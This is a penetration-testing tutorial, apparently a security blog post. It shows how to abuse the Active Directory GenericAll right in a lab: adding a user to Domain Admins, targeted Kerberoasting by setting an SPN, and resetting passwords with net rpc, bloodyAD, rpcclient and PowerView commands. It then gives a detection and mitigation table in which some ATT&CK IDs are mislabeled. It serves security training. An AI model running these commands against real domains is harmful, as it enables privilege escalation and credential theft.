In this post, we explore the
exploitation of Discretionary Access Control Lists (DACL) using the Generic ALL
permission in Active Directory environments. This permission provides
unrestricted access to user attributes, enabling various attack vectors, such
as Kerberoasting, password resets, and account manipulation.
We will detail the lab setup needed to
simulate these attacks and map these methods to the MITRE ATT&CK framework
to understand the techniques and tactics involved. Additionally, we will
discuss detection mechanisms to identify suspicious activities linked to
Generic ALL attacks and provide actionable recommendations to mitigate these
vulnerabilities. This overview aims to equip security professionals with the
knowledge to recognize and defend against these prevalent threats.
Table
of Contents
Abusing
AD-DACL- Generic ALL Permissions
Key
Concepts of DACL
Generic
ALL Right
Prerequisites
Lab
Setup – User Owns Generic ALL Right For Domain Admin Group
Exploitation
Phase I - User Own Generic All Right for Group
Bloodhound
-Hunting for Weak Permission
Method
for Exploitation - Account Manipulation (T1098)
·
Linux
Net RPC – Samba
·
Linux
Bloody AD
·
Windows
Net command
Exploitation
Phase II - User own generic Right for another user
Bloodhound
-Hunting for Weak Permission
Multiple
Method for Exploitation
·
Kerberoasting
o Linux Python Script -
TargetedKerberoast
o Windows PowerShell
Script-Powerview
·
Change
Password
o Linux Net RPC – Samba
o Linux Net RPC – BloodAD
o Linux Net RPC –Rpcclient
o Windows Net Utility
o Windows PowerShell
-Powerview
o Windows PowerShell
Detection
& Mitigation
In Active Directory (AD), a DACL
(Discretionary Access Control List) is a component of an object's security
descriptor that specifies which users or groups are allowed (or denied) access
to the object and what actions they are permitted to perform. It essentially
controls who can do what to an object, such as a user account,
computer, group, or any other directory object.
- Access Control
Entries (ACEs):
A DACL is made up of multiple ACEs. Each ACE defines the specific access
rights for a user or group and specifies what kind of access (read, write,
execute, etc.) is allowed or denied.
- Permissions:
Permissions define the specific actions a user or group can perform on an
object. These permissions can be basic, like reading or writing to the
object, or more complex, like modifying permissions or taking ownership.
- Rights:
Rights are a higher-level abstraction of permissions. In Active Directory,
common DACL rights include:
- GenericAll: Grants full control
over an object (e.g., modify properties, reset passwords, etc.).
- GenericWrite: Allows modification
of some object properties.
- WriteDACL: Lets the user
modify the DACL itself, potentially escalating privileges.
- WriteOwner: Grants the ability
to take ownership of the object, allowing further privilege modification.
- ReadProperty: Allows reading of
object properties (e.g., attributes in a user object).
- AllExtendedRights: Grants special
rights for advanced operations, like resetting passwords or enabling
delegation.
- Delete: Grants the ability
to delete the object.
- ReadDACL: Allows reading the
object's access permissions without being able to change them.
- ForceChangePassword: Allows forcing a
user to change their password without knowing the current one.
- Inheritance:
DACLs can be inherited from parent objects, meaning permissions on
a container (like an Organizational Unit) can be passed down to child
objects. This simplifies management but can also lead to unintended
permissions if not carefully configured.
- Security
Descriptor:
The DACL is part of a larger security descriptor that also includes the Owner
(the entity that has ownership of the object and can change its
permissions) and an optional SACL (System Access Control List) that
controls auditing.
Weak DACLs can lead to unauthorized access or privilege
escalation if not properly configured.
In
Active Directory, permissions and privileges define what actions an entity
(user, group, or computer) can perform on another object. The "Generic
ALL" privilege is one of the most powerful in AD because it grants complete
control over the target object. This means that the user or group with this
privilege can:
- Modify any attribute
of the object
- Reset passwords
- Add or remove members
from groups
- Delegate further
control to other users
- Delete the object
altogether
Because
of its extensive reach, an attacker who gains "Generic ALL"
privileges on sensitive objects (like privileged groups or service accounts)
can essentially gain domain dominance.
Exploiting
"Generic ALL" Privilege
Here's
how an attacker can leverage the "Generic ALL" privilege to
compromise Active Directory:
- Identifying Targets
with "Generic ALL" Privilege
The first step is to identify objects where the attacker has this
privilege. This can be done using tools like BloodHound or PowerView,
which map out Active Directory and show privilege relationships. Once
identified, the attacker can choose their target based on the potential
impact (e.g., a Domain Admin account).
- Resetting Passwords
If the "Generic ALL" privilege is applied to a user account, the
attacker can reset the account's password. This is particularly
devastating if the account is for a privileged user, such as a Domain
Administrator. After resetting the password, the attacker can log in as
that user and gain full control over the domain.
- Modifying Group
Membership
If the "Generic ALL" privilege is applied to a group, the
attacker can add themselves to a high-privilege group, like Domain
Admins or Enterprise Admins. This grants them the privileges of
those groups, effectively giving them control over the entire domain.
- Abusing Delegated
Control
With the "Generic ALL" privilege, the attacker can delegate
control of the target object to another user or group. This allows them to
grant privileges to themselves or other malicious users without raising
suspicion immediately.
- Deleting or Modifying
Objects
In extreme cases, an attacker with "Generic ALL" can delete
critical objects, such as service accounts or privileged users, causing
operational disruptions or creating avenues for further exploitation.
·
Windows
Server 2019 as Active Directory
·
Kali
Linux
·
Tools:
Bloodhound, Net RPC, Powerview, Rubeus,
·
Windows
10/11 – As Client
1.
Create the AD Environment:
To
simulate an Active Directory environment, you’ll need a Windows Server as a
Domain Controller (DC) and a client machine (Windows or Linux) where you can
run enumeration and exploitation tools.
- Domain Controller:
- Install Windows
Server (2016 or 2019 recommended).
- Promote it to a
Domain Controller by adding the Active Directory Domain Services
role.
- Set up the domain
(e.g., ignite.local).
- User Accounts:
- Create a standard
user account named Komal.
Command:
net user komal Password@1 /add /domain
2.
Assign the "Generic ALL" Privilege to Komal:
Once
your AD environment is set up, you need to assign the "Generic
ALL" right to Komal for the Domain Admins group.
- Steps:
- Open Active
Directory Users and Computers (ADUC) on the Domain Controller.
- Enable the Advanced
Features view by clicking on View > Advanced Features.
- Locate the Domain
Admins group in the Users container.
- Right-click Domain
Admins and go to Properties.
- Go to the Security
tab and click Advanced.
- Click Add,
then select the Komal user.
- In the Permissions
Entry window, select This object and all descendant objects.
- In the Permissions
section, check the box for Full Control or specifically check "Generic
ALL" if available.
- Apply the settings.
At
this point, Komal now has Generic ALL rights over the Domain
Admins group, meaning they can modify attributes, reset passwords, or even
add themselves to the group.
Compromised
User:
Komal
Target
Account:
Domain Admin Group
Now
that the lab is set up, let’s walk through how an attacker (acting as Komal)
can abuse the Generic ALL privilege.
Assuming
the Red Teamer knows the credential for Komal Users as a Standard Domain Users
and would like to enumerate the other Domain users & Admin members with the
help of “net-rpc” Samba command line Utility.
Command: net prc user -U ignite.local/komal%'Password@1'
-S 192.168.1.8
Command: net rpc group members
"Domain Admins" -U ignite.local/komal%'Password@1' -S 192.168.1.8
After
executing above command its has been concluded that the Administrator users is
only the single member of the Admin group. Unfortunately, the tester is doesn’t
know the credentials of administrator.
Use
BloodHound to Confirm Privileges: You can use BloodHound to verify that Komal
has the Generic ALL right on the Domain Admins group.
Command: bloodhound-python -u komal
-p Password@1 -ns 192.168.1.8 -d ignite.local -c All
From
the graphical representation of Bloodhound, the tester would like to identify
the outbound object control for selected user where the first degree of object
control value is equal to 1.
Thus
it has shown the Komal User has Generic ALL privilege to Domain Admin group and
provided steps for exploitation to be proceed.
The
tester can abuse this permission by Komal User into Domain Admin group and list
the domain admin members to ensure that Komal Users becomes Domain Admin.
Command: net rpc group addmem
"Domain Admins" "komal" -U ignite.local/komal%'Password@1'
-S 192.168.1.8
Command: bloodyAD --host
"192.168.1.8" -d "ignite.local" -u "komal" -p
"Password@1" add groupMember "Domain Admins"
"komal"
thus
from user property we can see komal user has become the member of domain admin.
Command: net group “domain admins”
komal /add /domain
To
set up a lab environment where the user Nishant has Generic ALL rights over the
user Vipin, you'll need to follow several steps. This process involves configuring
Active Directory (AD) permissions so that Nishant can manipulate attributes of
the Vipin account.
Step
1: Create Two AD user accounts
Command: net user vipin Password@1
/add /domain
Command: net user vipin Password@1
/add /domain
Step
2: Assign Generic ALL Permissions
- Open Active Directory Users
and Computers.
- Navigate to the Vipin
user account.
- Right-click on Vipin,
select Properties.
- Go to the Security tab.
- Click Advanced and then Add.
- In the "Enter the object
name to select" box, type Nishant and click Check Names.
- After adding Nishant, set the
permissions:
- Check Generic All
in the permissions list (you may need to select Full Control to
encompass all rights).
- Ensure Applies to is set
to This object only.
Hunting
for First Degree objection Control for Nishant Users as did in previous steps
Command: bloodhound-python -u
nishant -p Password@1 -ns 192.168.1.8 -d ignite.local -c All
From
the graph it can be observed that the nishant user owns generic all privilege
on vipin user
Moreover,
Bloodhound also helps the pentest to define the possible attack from the user
account nishant, this user can perform domain attack such as keroasting and
shadow credentials
1. T1558.003 – Kerberoasting
Compromised
User:
Nishant:Password@123
Target
User:
Vipin
Kerberoasting is an attack technique
that targets service accounts in Active Directory environments, where an
attacker with Generic ALL permissions on a user can exploit the ability
to request service tickets (TGS). By requesting TGS for service accounts, the
attacker can obtain encrypted tickets that include the service account’s
password hash. Since these tickets can be extracted and then offline cracked,
the attacker can potentially gain access to the service account’s credentials.
The attack leverages the fact that service accounts typically have elevated
privileges, allowing the attacker to escalate their own access within the
network once the password is cracked. This exploitation is particularly
effective in environments where weak or easily guessable passwords are used for
service accounts.
Download: git clone
https://github.com/ShutdownRepo/targetedKerberoast.git
Command: ./targetedKerberoast.py
--dc-ip '192.168.1.8' -v -d 'ignite.local' -u 'nishant' -p 'Password@1'
As
we have seen during the lab setup that vipin user was add domain user account
which does not have any associated spn. The Python is script has modify the
attribute of vipin user to set the SPN name and then dump Krbtgs hash that can
be brute force offline. Moreover the script perform clear track step by
removing the spn well live from user attribute.
This
type of attack ideally best when the attacker is not willing to change the
password for target user <Vipin in our case> even generic all privilege
is enabled for compromised user. Yes this step is less noisy then the changing
the password of any user.
Further,
with the help of John the Ripper end the dictionary such as Rock You can help
the attacker to brute force the weak password.
To
perform Kerberoasting using PowerView on a Windows machine, you can leverage
PowerView’s ability to enumerate Active Directory service accounts that have
Service Principal Names (SPNs). These SPNs can be requested to obtain service
tickets (TGS), which can then be cracked offline to reveal the service
account’s credentials. Here’s a brief overview of the steps:
Make
sur that the target account has no SPN and then Set the SPN to obtain the
KerbTGS hash
Command: Get-DomainUser 'vipin' |
Select serviceprincipalname
Command: Set-DomainObject -Identity
'vipin' -Set @{serviceprincipalname='nonexistent/hackingarticles'}
Command:$User = Get-DomainUser
'vipin'
Command:$User | Get-DomainSPNTicket
| f1
Cracking
TGS hash using Rockyou.txt with the help of Hashcat Tool.
Command: net rpc password vipin
'Password@987' -U ignite.local/nishant%'Password@1' -S 192.168.1.8
Command: bloodyAD --host
"192.168.1.8" -d "ignite.local" -u "nishant" -p "Password@1"
set password "vipin" "Password@9876"
Command: rpcclient -U
ignite.local/nishant 192.168.1.8
Command: setuserinfo vipin 23
Ignite@987
Command: net user Vipin
Password@1234 /domain
Command: $SecPassword =
ConvertTo-SecureString 'Password@987' -AsPlainText -Force
Command: $Cred = New-Object System.Management.Automation.PSCredential('ignite.local\vipin',
$SecPassword)
Command: $NewPassword =
ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Command: Set-DomainUserPassword
-Identity 'vipin' -AccountPassword $NewPassword
|
Attack
|
MITRE ATT&CK Technique
|
Description
|
Detection
|
Mitigation
|
|
Reset Password
|
T1110.001 – Password Cracking
|
Attackers with Generic ALL permissions can reset
the target user’s password to gain full access to their account.
|
- Monitor for unusual password resets by
non-admin users.
- Detect anomalies in password change activities.
- Check audit logs for unusual access or password
reset events.
|
- Enforce least privilege access control.
- Limit the use of powerful permissions like
Generic ALL.
- Require multi-factor authentication (MFA) for
password resets.
|
|
Account Manipulation
|
T1098 – Account Manipulation
|
Attackers with Generic ALL can modify account
attributes (add groups, change privileges) or even disable auditing.
|
- Monitor for account changes, including group
memberships and privileges.
- Log changes to critical accounts (e.g., admin,
domain admin accounts).
|
- Use privileged access workstations (PAWs) for
administrative tasks.
- Restrict sensitive permissions like Generic
ALL.
- Implement Role-Based Access Control (RBAC).
|
|
Kerberoasting
|
T1558.003 – Kerberoasting
|
Attackers with access can request service tickets
for service accounts with SPNs, allowing offline cracking of the ticket for
credential extraction.
|
- Monitor for excessive Kerberos ticket-granting
service (TGS) requests.
- Detect abnormal account ticket requests,
especially for accounts with SPNs.
- Enable Kerberos logging.
|
- Use strong, complex passwords for service
accounts.
- Rotate service account passwords regularly.
- Disable unnecessary SPNs.
- Monitor TGS requests for anomalies.
|
|
Setting SPNs
|
T1207 – Service Principal Discovery
|
Attackers can add an SPN to an account, allowing
them to later perform attacks like Kerberoasting to retrieve service account
TGS tickets.
|
- Monitor changes to SPN attributes using LDAP
queries or PowerShell.
- Detect modifications to AD attributes related
to SPNs.
- Monitor account changes using event logs.
|
- Limit the ability to modify SPNs to authorized
users only.
- Enforce MFA for service accounts.
- Ensure strong passwords for accounts with SPNs.
- Periodically audit SPNs.
|
|
Shadow Credentials
|
T1208 – Credential Injection (Abusing
msDS-KeyCredentialLink)
|
Attackers use the msDS-KeyCredentialLink
attribute to add alternate credentials (keys or certificates) for an account,
allowing persistence and authentication without knowing the user’s password.
|
- Monitor changes to the msDS-KeyCredentialLink
attribute.
- Audit AD logs for unusual certificate and key
additions.
- Use LDAP queries to detect attribute
modifications.
|
- Limit access to modify msDS-KeyCredentialLink
to authorized accounts.
- Regularly audit msDS-KeyCredentialLink
attributes.
- Use strong key/certificate management practices
|
|
Pass-the-Ticket (PTT)
|
T1550.003 – Pass the Ticket
|
Attackers use captured Kerberos tickets (TGT/TGS)
to authenticate to services without knowing the password.
|
- Monitor for unusual Kerberos ticket-granting
ticket (TGT) or service ticket (TGS) usage.
- Detect ticket reuse across different systems
- Enable and monitor Kerberos logging.
|
- Use Kerberos Armoring (FAST) to encrypt
Kerberos tickets.
- Enforce ticket expiration and short lifetimes
for TGT/TGS.
- Enforce ticket expiration and short lifetimes
for TGT/TGS.
- Implement MFA for critical resources.
|
|
Pass-the-Hash (PTH)
|
T1550.002 – Pass the Hash
|
Attackers use captured NTLM hash to authenticate
without knowing the actual password, often used for lateral movement or
privilege escalation.
|
- Monitor NTLM authentication attempts and detect
anomalies (especially from low-privilege to high-privilege accounts).
- Analyze logins that skip standard
authentication steps.
|
- Disable NTLM where possible.
- Enforce SMB signing and NTLMv2.
- Use Local Administrator Password Solution
(LAPS) to manage local administrator credentials.
- Implement MFA.
|
|
Adding Users to Domain Admins
|
T1098.002 – Account Manipulation: Domain Account
|
Attackers with Generic ALL can add themselves or
another account to the Domain Admins group, granting full control over the domain.
|
- Monitor changes to group memberships,
especially sensitive groups like Domain Admins.
- Enable event logging for group changes in
Active Directory.
|
- Limit access to modify group memberships.
- Enable just-in-time (JIT) administration for
critical roles
- Use MFA for high-privilege accounts and role
modifications.
|
.png)
.png)
.png)
.png)
